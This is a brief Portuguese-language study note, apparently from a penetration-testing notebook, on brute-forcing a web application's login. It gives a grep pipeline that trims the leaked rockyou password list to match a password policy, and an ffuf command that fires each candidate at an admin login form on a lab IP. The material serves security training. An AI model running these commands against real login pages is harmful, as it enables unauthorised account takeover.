# Brute-Forcing Passwords

* Criar uma lista de palavras que correspode à política de senha implementada pelo aplicativo web de destino

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FEqYlpOUcVffgx9JsaSnL%2Fimage.png?alt=media&#x26;token=52f11506-b48c-42ce-9fb9-65037308c1d1" alt=""><figcaption></figcaption></figure>

```shell-session
grep '[[:upper:]]' /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
```

* Interceptar a solicitação de login para saber os nomes dos parâmetros POST e a mensagem de erro retornada na resposta, isso pode ser feito no `burpsuite`
* Usar p `fuff` para quebrar a senha de usuário

```shell-session
 ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
```

